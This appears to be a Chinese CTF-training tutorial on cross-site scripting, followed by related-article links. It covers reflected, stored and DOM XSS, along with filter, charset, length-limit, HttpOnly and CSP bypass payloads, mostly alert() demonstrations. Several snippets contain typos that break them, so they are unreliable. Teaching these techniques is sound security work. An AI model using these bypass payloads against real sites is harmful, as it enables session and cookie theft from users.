一、基本介绍

跨站脚本攻击简称XSS,是一种网站应用程序漏洞,是代码注入漏洞的一种,攻击者可以通过这个漏洞向网页中注入恶意代码,导致用户浏览器加载网页、渲染HTML文档时执行攻击者代码。

二、分类

1.成因分类

反射型XSS,存储型XSS,DOM型XSS

2.输出点分类

输出在HTML属性中,输出在CSS代码中,输出在JavaScript中

三、介绍

1.反射型XSS漏洞

XSS代码作为客户端输入的内容提交给服务端,服务端解析后,在响应内容中返回输入的XSS代码,最终在浏览器解释器执行,原型如下:

<?php
echo 'your input:' . $_GET[' input '];
?>

客户端输入的input值未经过任何过滤便直接输出,所以攻击者可以提交

http://csdn.com/xss.php?input=<script>alter(/xss/)</script>

在服务端对客户端输入的内容进行解析后,echo语句会将客户端输入的代码完整地输出到HTTP响应中,浏览器解析并执行。

2.存储型XSS漏洞

在于提交的XSS代码是否会存储在服务端,下次请求该网页时是否需要再次提交XSS代码。存储型XSS典型应用有留言板,在线聊天室,邮件服务等,攻击者提交包含XSS代码的留言后,服务端会将其存储与数据库中,其他用户访问网页查看留言时,服务端将从数据库中查询已有的留言并输出在HTTP响应中,原型如下:

<html>
<head><title>GuestBook v1.0</title><meta charset="utf-8">
</head>
<body>
<form method = "post">昵称:<input type="text" name="nickname"><br>内容:<textarea name="content"></textarea><br><input type="submin" name="submit" value="提交留言">
</form>
<hr>
<?php>$conn = mysql_connect("localhost","root","root");if (! $conn) {die('could not connect: ' . mysql_error());}mysql_select_db("guestbook",$conn);if (isset($_POST['submit'])) {$nickname = $_POST['nickname'];$content = $_POST['content'];mysql_query("INSERT INTO guestbook (nickname,content) VALUES ('Snickname', '$content')");}$result = mysql_query("SELECT * FROM guestbook");while(&row = mysql_fetch_array($result)) {echo $ row['nickname'] . ":" . $row['content'] . '<br>';}mysql_close($conn);?>
</body>
</html> 

攻击者提交留言<script>alter(/xss/)</script>后,服务端存储留言,其他用户访问网页时执行恶意代码。

3.DOM型XSS漏洞

DOM XSS的XSS代码不需要在服务端解析响应的直接参与,触发XSS的是浏览器的DOM解析,原型如下:

<html>
<head><title>DOM XSS</title><meta charset="utf-8">
</head>
<body><div id="area"></div><script>document.getElementByID("area").innerHTML = unescape(location.hash);</script>
</body>
</html>

代码中服务端未作任何操作,而客户端得javascript代码动态地将location.hash赋给:

document.getElementByID("area").innerHTML

导致了这个DOM XSS,使用方法如下:

http://csdn.com/dom.html#<img src=x οnerrοr='alter(/xss/)'>

4.输出在HTML标签中

原型如下:

<input name="user" values="{{your input}}"/>

XSS得payload输出在HTML属性中时,攻击者需要闭合相应得HTML属性后注入新的属性,或者在闭合标签后直接注入标签,如输入:

" onclick="alert(/xss/)

闭合前面得value属性,注入新的得onclick属性,则会输出:

<input name = "user" value="" onclick="alert(/xss/)"/>

或者输入

"><script>alert(/xss/)</script>

直接闭合input标签,注入新的script标签,则会输出:

<input name="user" value=""><script>alert(/xss/)</script/>"/>

5.输出在CSS代码中

原型如下:

<style tpye="text/css">body {color: {{your input}};
}</style>

XSS攻击payload输出在CSS代码中时,攻击者需要闭合相应的CSS代码,如输入:

#000;background-image: url('javascript:alert(/xss/)')

闭合前面的color属性,注入background-image属性,则会输出:

<style tpye="text/css">
body {color: #000; background-image: url('javascript:alert(/xss/)');
}
</style>

6.输出在Javascript代码中

原型如下:

<script>var name='{{your input}}';
</script>

XSS攻击payload输出在javascript代码中时,攻击者需要闭合相应的javascript代码,如输入:

'+alert(/xss/)+'

闭合前面的单引号,注入攻击代码,则会输出:

<script>
var name=''+alert(/xss/)++'';
</script>

四、防护与绕过

1.特定标签过滤

部分开发者认为过滤掉危险标签:script、iframe等就会到时脚本无法执行,其实任何一种标签,无论是否合法,都可以构造处XSS代码,比如:

<not_real_tag onclick="alert(/xss/)">click me</not_real_tag>

如果输出点HTML标签的属性中或在JavaScript代码中,那么攻击者可以简单地闭合,拼接属性或JavaScript代码而不需要引入任何新标签可以执行XSS代码。

同时,HTML5也带来了部分新的标签,容易被开发者忽略,比如video标签。

<video><source onerroe="alert(/xss/)">

2.事件过滤

很多时候,开发者会过滤掉许多HTML标签的事件属性,这时需要对所有可利用的时间属性进行遍历。

还有一些标签属性本身不属于事件属性,但是可以用于执行JavaScript代码,比如JavaScript伪协议。

<a herf="javascript:alert(/xss/)">click me</a>

HTML5也带来了一些新的属性,可以用于对时间过滤进行绕过操作,例如:

1.<details open ontoggle="alert(/xss/)">
2.<from><button formaction="javascript:alert(/x/)">x</button>
....

3.敏感关键字(字符)过滤

关键字过滤大部分是针对敏感变量或者函数而进行的,如:cookie、eval等。这部分的过滤可以通过字符串的拼接、编码解码等方法绕过。

①字符串拼接与混淆

JavaScript中的对象方法可通过数组的方式进行调用,如调用alter函数,可以使用如下方式:

window['alert'](/xss/);

可以看到,数组下标是想调用函数名字的字符串,既然是字符串,那么自然就可以通过拼接方式进行混淆,代码如下:

window['al'+'ert'](/xss/)

还可以使用JavaScript自带的base64编码解码函数来实现字符串过滤的绕过,btoa函数可以将字符串编码base64字符串,atob函数可以将base64字符串还原,这时利用如下代码也可以实现alter(/xss/)相同的效果。

window[atob("YWx1"+"cnQ")](/xss/)

②编码解码

基于字符串的代码混淆不仅可以通过字符拼接的方式来实现,还可以通过各种编码、解码来实现。XSS漏洞常用的编码方式如下:

HTML进制编码:10,16进制

CSS进制编码:兼容HTML中的进制表现,10,16进制

JavaScript进制编码:8,16进制,unicode编码,ASCII

URL编码

JSFuck编码

③location.*、window.name

既然开发者会对输入的敏感关键字进行过滤,那么可以将XSS代码放置于其他不被浏览器提交至服务端的部分,如:location.*、window.name等处。

location.*的构造如下:

http://csdn.com/xss.php?input=<input onfocus=outerHTML=decodeURI(location hash)
>#<img src=x onerror=alert(/xss/)>

Window.name构造如下:

<iframe src="http://csdn.com/xss.php?input=%3Cinput%20onfous=location=window.name
%3E" name="javascript:alert(/xss/)"></ifname>

利用location对象结合字符串编码可以绕过很多基于关键字的过滤,也有一部分关键字过滤是针对敏感符号的过滤,如括号、空格、小数点等。

④过滤“.”

在JavaScript中,可以使用with关键字设置变量的作用域,利用此特性可以绕过对“.”的过滤:

with(document)alert(cookie);

⑤过滤“()”

在JavaScript中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对“()”的过滤:

window.onerror=alert;throw 1;

⑥过滤空格

在标签属性间可使用换行符0x09、0x10、0x12、0x13、0x0a等字符代替空格绕过过滤:

http://csdn.com/xss.php?input=<img%0asrc=x%0aonerro=alert(/xss/)>

在标签名称和第一个属性间也可以使用“/”代替空格:

<input/onfocus=alert(/xss/)>

⑦svg标签

svg内部的标签和语句遵循规则是直接继承自XML而不是HTML,区别在于svg内部的script标签中可以允许存在一部分进制或编码后的字符(比如实体编码):

http"//csdn.com/xss.php?input=1"><svg><script>alter%26%23x28;1%26%23x29
</script></svg>

4.字符集编码导致的绕过

①古老的UTF-7与US-ASCII

在没有通过Content-Type或者meta标签设置字符集时,如果IE的编码设置为自动检测,那么它会根据一些BOM字符来判断当前的字符集(现在已经不适用):

<html>
<head><title>UTF-7</title></head>
<body>+ADw-script+AD4-alert(/xss/)+ADw-/script+AD4-
</body>
</html>

另外一种情况就是,虽然IE没有勾选自动检测字符集的设置,但可以通过制作一个字符集为UTF-7的页面,并使用iframe标签来调用目标页面,利用字符集继承漏洞来实现字符集的设定,如:

<meta http-equiv='content-type' content='text/html;charset=UTF-7'>
<iframe src='http://csdn.com/xss.php?input=%2BADw-script%2BAD4-alter(/xss/)%2BADw-
%2Fscript%2BAD4-'></iframe>

但是这种基于iframe的跨域字符集继承漏洞已被修复,当前的情况是:继承的大前提是必须同域。

如果输出点是在title标签之内,meta标签之前,且字符集是由meta标签所指定的,那么仍可通过如下方式注入meta标签指定字符集来利用XSS漏洞,原型如下:

<html><head><title>{{your input}}</title><meta http-equiv="content-type" content="text/html;charset=UTF-8"></head>
</html>

在title标签中注入如下代码:

</title><meta charset="utf-7">+ADw-script+AD4-alert(/xss/)+ADw-/script+AD4-:

最终可以构造处:

<html><head><title></title><meta charset="utf-7">+ADw-script+AD4-alert(1)+ADw-/script
+AD4-<title><meta http-equiv="content-type" content="text/html;charset=UTF-8"><head>
</html>

基于US-ACSCII字符集合的XSS漏洞与基于UTF-7的XSS漏洞很相似,代码如下:

<html><head><meta http-equiv="content=type" content="text/html;charset=us=ascii"></head><body>シscriprpt セ alert(1) シ/script セ</body>
</html>

②宽字节

考虑如下代码:

<html><head><title>XSS</title><meta charset="gb2312">
</head>
<body><script>var q="<?php echo str_replace('</','<\/',addslashes($_GET['input']));?>";</script></body>
</html>

这段代码通过str_replace和addslashes对输入进行过滤,而这里可以使用宽字节进行绕过,payload如下:

http://csdn.com/xss.php?input=%d5%22;alert(1);//

5.长度限制

部分输入点会限制输入字符的数量,这时就需要使XSS代码尽量短小

①window.name和location.*

window.name和location.*都可以通过将代码放置在别处以减小输入点代码量,如:

<iframe scr="http://csdn.com/xss.php?input=%3Cinput%20onfoucus=eval(window.name)
%3E"name="alert(/xss/)"><iframe>

②第三方库工厂函数

诸如jQuery等等三方JavaScript库大部分都会提供相应的工厂函数,如jQuery中的“$()”,它会自动构造标签,并且执行其中的代码:

<iframe scr="http://csdn.com/xss.php?input=%3Cinput%20onfocus=$(window.name)
%3E"name="<img scr='x' onerror=alert(/xss/) />"/>

③注释

在一些环境下可以使用注释来绕过长度限制。具体操作是将XSS代码分为多个阶段,在每个阶段的代码前后添加注释符号,依次注入XSS代码,这样不同阶段的代码就可以组合到一起了,如下所示:

stage 1:<script>/*
stage 2:*/alert(1)/*
stage 3:*/</script>

6.HttpOnly绕过

这是一个cookie的一个安全属性,设置后则可以在XSS漏洞发生时避免JavaScript读取到cookie,但即使设置了httponly属性,也仍有方法获取到cookie值。

①CVE-2012-0053

Apache服务器2.2.0-2.2.21版本存在一个漏洞CVE-2012-0053:攻击者可以通过向网站植入超大的cookie,令其HTTP头超过Apache的最大请求长度(4192字节),使得Apache返回400错误,状态页中包含了HttpOnly保护的cookie。

②PHPINFO页面

无论是否设置HttpOnly属性,phpinfo()函数都会输出当前请求上下文的cookie信息。如果目标网站存在phpinfo页面,就可以通过XMLHttpRequest请求该页面获取cookie信息。

③Flash/Java

安全团队seckb在2012年提出,通过Flash、Java的一些API可以获取到HttpOnly cookie,这种情况可以归结为客户端信息泄露。

7.XSS Auditor绕过

反射型XSS漏洞作为一种最容易发现和挖掘的XSS漏洞,但是由于XSS Auditor的出现,使反射型XSS漏洞的作用被逐步弱化,XSS Auditor通过检查输入的内容判断该内容是否在输出中出现,如果符合XSS Auditor的过滤条件,则会直接阻止脚本执行。

8.内容安全策略(CSP)绕过

CSP是目前最主要的web安全保护机制之一,这个功能可以有效地帮助开发着降低网站遭受XSS漏洞攻击的可能性,开发者可以创建并强制部署一些安全管理规则,规定网站可以获取或者加载的内容。

CSP以白名单的机制来管理网站要加载或者执行的资源,在网页中,这样的策略是通过HTTP头信息或者meta标签来定义的,虽然这个策略可以防止攻击者从外部网站跨站加载恶意代码,但是CSP是不能防止数据泄露的。

《CTF特训营》——跨站脚本攻击(XSS)相关推荐

  1. 跨站脚本攻击XSS:为什么cookie中有httpOnly属性

    跨站脚本攻击XSS:为什么cookie中有httpOnly属性 通过上篇文章的介绍,我们知道了同源策略可以隔离各个站点之间的 DOM 交互.页面数据和网络通信,虽然严格的同源策略会带来更多的安全,但是 ...

  2. 跨站脚本攻击—XSS

    XSS 介绍 XSS 是跨站脚本攻击(Cross Site Scripting)的简写,但是从首写字母命名的方式来看,应该取名 CSS,但这样就和层叠样式表(Cascading Style Sheet ...

  3. 「第三章」跨站脚本攻击(XSS)

    批注[--] 表示他人.自己.网络批注参考资料来源于* 书中批注* CSDN* GitHub* Google* 维基百科* YouTube* MDN Web Docs由于编写过程中无法记录所有的URL ...

  4. 跨站脚本攻击(XSS)FAQ

    原作者charlee.原始链接http://tech.idv2.com/2006/08/30/xss-faq/以及本声明. 该文章简单地介绍了XSS的基础知识及其危害和预防方法.Web开发人员的必读. ...

  5. [Web安全之实战] 跨站脚本攻击XSS

    文章Points: 1. 认识XSS 2. XSS攻击 3. XSS防御(重点) 一.认识XSS先 先说个故事吧,在上一篇,我还想说这个案例.其实什么叫攻击,很简单.获取攻击者想要的信息,就黑成功了. ...

  6. 跨站脚本攻击XSS(最全最细致的靶场实战)

    一.XSS跨站漏洞 (1)XSS简介   网站中包含大量的动态内容以提高用户体验,比过去要复杂得多.所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容.动态站点会受到一种名为&qu ...

  7. 跨站请求伪造(CSRF)+ 跨站脚本攻击(XSS)

    一.CSRF 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 X ...

  8. 跨站脚本攻击(XSS)详解

    XSS简介 XSS(Cross Site Script)攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击. 一开始, ...

  9. 网站安全系列:跨站脚本攻击XSS

    本篇博文主要从概念和应用上介绍XSS,主要内容来源于<白帽子讲web安全> XSS核心本质 XSS实际上是一种HTML注入,用户输入的数据被当成HTML的一部分来执行.防御方法核心是输入检 ...

  10. 跨站脚本攻击 XSS原理

    个人对XSS攻击的笔记 原理:对可以控制传参的位置,比如url链接中,输入框中,首先闭合输出参数位置前后网页标签,在闭合的中间加上JavaScript代码或者其他的html标签,使得网页能够执行你添加 ...

最新文章

  1. 人性经不起金钱的考验,何况是黄金 --- 我看电影《黄金兄弟》
  2. 构建之法第5词作业(12-15章)
  3. 爆发前的最后按钮 白鹭推HTML5首款生态产品Egret Runtime
  4. 【机器视觉】 dev_get_window算子
  5. linux crontab日志,crontab的用法---linux定时任务
  6. ABAP, Maven, CF App和Webpack的build
  7. Java秒杀系统实战系列~RabbitMQ死信队列处理超时未支付的订单(转)
  8. linux 脚本 整数 赋值,shell基础!!熟悉编程规范与变量
  9. EntLib 3.1学习笔记(2) : Data Access Application Block
  10. “梧桐杯”中国移动大数据应用创新大赛 - 智慧城市赛道baseline
  11. Verizon CEO证实公司正考虑出价收购雅虎
  12. 八重州8900如何解锁_八重贵族怪胎之路
  13. lpush rpush 区别_Redis系列(六):数据结构List双向链表LPUSH、LPOP、RPUSH、RPOP、LLEN命令...
  14. mysql 计算农历_SQL农历转换函数
  15. 基于Java语言的51单片机串口通讯PC机程序
  16. math_(函数数列)极限的含义误区和符号梳理/邻域去心邻域邻域半径
  17. [逻辑]-- 25匹马赛跑问题
  18. 科研用深度学习+有限元工作站的DIY装机配置(预算:5-6万)
  19. CBInsights 2019金融科技趋势报告:东南亚、拉美成新宠,IPO脚步恐放缓(附全文下载)...
  20. java集合及遍历器的初步认识

热门文章

  1. 我以为我很懂Promise,直到我开始实现Promise/A+规范
  2. moviepy音视频开发专栏文章目录
  3. 大都会人寿宣布高层领导变更
  4. 计算机遇到错误无法安装windows,无法安装windows10 - Microsoft Community
  5. angular7项目中使用Iconfont字体图标库
  6. 一位程序员的爱情表白(娱乐版)
  7. c语言正则表达式匹配字符串,C语言的正则表达式 regex
  8. c语言正则表达式查找字符串长度,c语言实现正则表达式匹配
  9. 安装vimplus实现c++代码高亮与自动补全功能的若干问题
  10. 算法系列——迪杰斯特拉算法(Dijkstra)